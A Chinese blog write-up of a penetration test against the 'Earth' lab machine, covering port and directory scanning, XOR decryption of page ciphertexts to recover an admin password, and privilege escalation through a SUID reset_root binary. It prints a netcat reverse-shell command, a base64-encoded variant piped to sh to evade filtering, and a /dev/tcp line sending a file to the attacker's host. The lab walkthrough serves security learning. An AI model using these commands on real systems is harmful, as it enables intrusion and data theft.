Earth靶机渗透笔记

文章描述了一次渗透测试过程,包括IP和端口信息收集,使用WhatWeb识别未果,随后通过目录扫描找到加密的testdata.txt文件。通过XOR加密解密,获取到用户名terra和密码,进而获取shell并尝试修改root密码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

信息收集阶段

1.1 IP信息收集

使用命令:arp-scan -l,获取到当前IP为:192.168.137.190

1.2 端口信息收集

使用命令:nmap -sS -T4 -A 192.168.137.190,开放三个端口:2280443

在这里插入图片描述

CMS识别

使用命令:whatweb -v http://192.168.137.190,并没有什么结果

目录信息收集

使用命令:dirb http://192.168.137.190 /usr/share/wordlists/dirb/big.txt
或者使用:python ./dirsearch -u http://192.168.137.190

好像也是啥也没得。。

漏洞利用阶段

因为在端口信息收集的时候看到开放了一个 80 端口,访问之后啥也没的。
然后看到开放了一个 443 端口,在访问之后出现了一个页面,是关于Fedora的,在这我被误导了,找了半天Fedora的漏洞发现是方向错了…

在这里插入图片描述

需要在hosts文件中添加域名解析:vim /etc/hosts。第一个IP为靶机IP

在这里插入图片描述

输入URL进入网页:https://earth.local/http://terratest.earth.local/

两个网页是相同的页面,并且在网页的下方出现三条密文:

37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40

3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45

2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

这三串密文现在还不知道如何去利用,先搁着一边

再次做一次目录扫描:

python dirsearch.py -u http://earth.local/

在这里插入图片描述

python ./dirsearch.py -u https://terratest.earth.local/

在这里插入图片描述

先访问robots.txt

在这里插入图片描述

出现一个文件名,但是不知道文件后缀,在尝试之后发现:https://terratest.earth.local/testdata.txt

文件内容:

Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

测试安全消息系统注意事项:
*使用XOR加密作为算法,应该像在RSA中使用一样安全。
*地球已经确认他们收到了我们发送的信息。
*testdata.txt用于测试加密。
*terra用作管理门户的用户名。
Todo:
*我们如何安全地将每月的密钥发送到地球?还是我们应该每周更换钥匙?
*需要测试不同的密钥长度以防止暴力。钥匙应该有多长?
*需要改进消息传递界面和管理面板的界面,这是目前非常基本的。

获得三个关键信息:登录用户:terra,文件:testdata.txt,加密方式:XOR加密算法

再结合网页的那三串密文,是否testdata.txt内的内容就是加密的值呢?

According to radiometric dating estimation and other evidence,
 Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, 
 life appeared in the oceans and began to affect Earth's atmosphere and surface, 
 leading to the proliferation of anaerobic and, later, aerobic organisms. 
 Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

由于没有怎么学过加密这方面,所以到这的脚本是利用其他师傅的脚本。使用Python脚本:

import binascii


key = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"

scort = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

process = binascii.b2a_hex(scort.encode()).decode()
result = binascii.a2b_hex(hex(int(process, 16) ^ int(key, 16))[2:]).decode()

print(result)

脚本是借用这位师傅的,文章链接:师傅原文链接

获得解密之后的结果:

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

但是经过去重之后得到一串明文:earthclimatechangebad4humans

这个可能就是当前用户terra的密码,来到python dirsearch.py -u http://earth.local/admin/login进行登录

在这里插入图片描述

可以输入命令,建立一个反弹shell:nc 192.168.137.182 4396 -e /bin/bash。无法成功反弹shell,可能是Web站点存在一些过滤的机制。使用编码方式进行绕过:echo bmMgMTkyLjE2OC4xMzcuMTgyIDQxMTEgLWUgL2Jpbi9iYXNo | base64 -d | sh

在这里插入图片描述

成功拿到shell。使用命令:python3 -c 'import pty;pty.spawn("/bin/bash")'去获取一个更好的shell窗口。

使用命令:sudo -l最终没有当前用户的密码,无功而返,

使用命令:find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

看名字应该是重置root的一个文件。但是运行之后啥玩意都没。由于权限有限,将文件传输到Kali上分析。

Kali:
nc -lvvp 1111 > abc

靶机:
cat /usr/bin/reset_root > /dev/tcp/192.168.137.130/1111

接受到文件之后使用file命令查看该文件类型。

在这里插入图片描述

是一个x86_64架构的可执行程序,使用strings命令查看具体的利用方式。

在这里插入图片描述

将root的密码修改为Earth

由于无法运行,使用命令ltrace命令查看程序库函数调用链。

缺少三个文件:

在这里插入图片描述

在靶机中创建这三个文件:

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

再次运行该文件,成功修改root密码

在这里插入图片描述

拿到flag:

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值